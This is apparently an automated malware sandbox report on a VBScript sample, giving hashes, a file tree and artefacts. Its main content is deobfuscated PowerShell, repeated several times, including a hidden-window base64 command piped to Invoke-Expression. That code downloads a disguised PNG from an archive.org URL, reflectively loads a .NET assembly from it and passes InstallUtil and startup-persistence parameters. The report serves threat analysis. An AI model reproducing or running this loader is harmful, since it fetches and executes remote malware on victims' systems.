Malicious
Malicious

f93f0fc230acacc4349e6fa79713abfe

VBScript
|
MD5: f93f0fc230acacc4349e6fa79713abfe
|
Size: 76.9 KB
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text/vbscript

Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
f93f0fc230acacc4349e6fa79713abfe
Sha1
0c07733ee134ef544bc345224a1264310e063ef3
Sha256
ffbb2562e2cfdfa7601c57d3dd01b9b77e519c18cf592fbe184c9be2a4285ad6
Sha384
bfba76059e1cea2a46c9b5e82ea265e06f5d076edbf451c0d92ed347b0867a2053829510893171051a82aab7ce3f9d19
Sha512
d38aaa34e11d0df31e1cb9c96e8c6e5b9152c822d92681bca43128f6fbd36dfea86c43eb1aff35dac96a255934686ae20078ecd18e841a1ceef45f68dc5d3f52
SSDeep
1536:XYaaIIkkwJSuhmYBrWiEZTUH/UUiOgaAailgWaAaMH/gf4FrcnhnoVIKYMn:5aIdTLFoaKYMn
TLSH
1673B586FB3D0D054A93E48B239477C7E91AFFD5F12041F9B905D2BD21188CA9792BE8
File Structure
f93f0fc230acacc4349e6fa79713abfe
Malicious
f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
Artefacts
Name
 Value
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVjV2FoSldadFZXYmwxMmJqOXlNekVqTHpRak11VXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "0hHducWahJWZtVWbl12bj9yMzEjLzQjMuUzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "0hHducWahJWZtVWbl12bj9yMzEjLzQjMuUzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVjV2FoSldadFZXYmwxMmJqOXlNekVqTHpRak11VXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"
Deobfuscated PowerShell

Invoke-Expression
f93f0fc230acacc4349e6fa79713abfe (76.9 KB)
File Structure
f93f0fc230acacc4349e6fa79713abfe
Malicious
f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
Characteristics
No malware configuration were found at this point.
Artefacts
Name
 Value Location
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html

f93f0fc230acacc4349e6fa79713abfe
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVjV2FoSldadFZXYmwxMmJqOXlNekVqTHpRak11VXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"

Malicious

f93f0fc230acacc4349e6fa79713abfe > f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs > [Command #0]

Deobfuscated PowerShell

Invoke-Expression

Malicious

f93f0fc230acacc4349e6fa79713abfe > f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs > [Command #0] > [PowerShell Command]
Deobfuscated PowerShell

Invoke-Expression

Malicious

f93f0fc230acacc4349e6fa79713abfe > f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs > [Command #0] > [PowerShell Command] > [Deobfuscated PS]
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "0hHducWahJWZtVWbl12bj9yMzEjLzQjMuUzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))

Malicious

f93f0fc230acacc4349e6fa79713abfe > f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs > [Command #0] > [Base64-Block]
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "0hHducWahJWZtVWbl12bj9yMzEjLzQjMuUzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))

Malicious

f93f0fc230acacc4349e6fa79713abfe > f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs > [Command #0] > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVjV2FoSldadFZXYmwxMmJqOXlNekVqTHpRak11VXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"

Malicious

f93f0fc230acacc4349e6fa79713abfe > f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs > [Command #0] > [Deobfuscated PS]
Deobfuscated PowerShell

Invoke-Expression

Malicious

f93f0fc230acacc4349e6fa79713abfe > f93f0fc230acacc4349e6fa79713abfe.deobfuscated.vbs > [Command #0] > [Deobfuscated PS] > [PowerShell Command]
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